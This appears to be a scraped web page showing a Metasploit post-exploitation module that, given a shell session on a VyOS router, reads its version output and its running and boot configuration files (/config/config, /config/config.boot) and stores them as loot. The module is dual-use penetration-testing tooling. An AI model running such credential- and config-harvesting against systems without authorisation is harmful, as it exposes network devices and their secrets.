Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_vyos.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::VYOS78def initialize(info = {})9super(10update_info(11info,12'Name' => 'VyOS Gather Device General Information',13'Description' => %q{14This module collects VyOS device information and configuration.15},16'License' => MSF_LICENSE,17'Author' => ['h00die'],18'SessionTypes' => ['shell'],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [IOC_IN_LOGS],22'Reliability' => []23}24)25)26end2728def run29# Clear the screen30session.shell_command("\n")3132# Get version info33print_status('Getting version information')34# 1.1.8, and prob before35version_out = session.shell_command('/opt/vyatta/bin/vyatta-show-version')36if version_out.include?('such file or directory')37# 1.3, and prob newer38version_out = session.shell_command('/usr/libexec/vyos/op_mode/show_version.py')39end4041ver_loc = store_loot('vyos.version',42'text/plain',43session,44version_out.strip,45'version.txt',46'VyOS Version')4748# Print the version of VERBOSE set to true.49vprint_good(version_out)50vprint_good("Version information stored in to loot #{ver_loc}")5152# run additional information gathering53enum_configs54end5556# run commands found in exec mode under privilege 157def enum_configs58host = session.session_host59port = session.session_port60exec_commands = [61{62'cmd' => 'cat /config/config',63'fn' => 'get_running_config',64'desc' => 'Get Running Config on VyOS Device'65},66{67'cmd' => 'cat /config/config.boot',68'fn' => 'get_config',69'desc' => 'Get Boot Config on VyOS Device'70},71]72exec_commands.each do |ec|73command = ec['cmd']74cmd_out = session.shell_command(command).gsub(command, '')75print_status("Gathering info from #{command}")76vyos_config_eater(host, port, cmd_out.strip)77end78end79end808182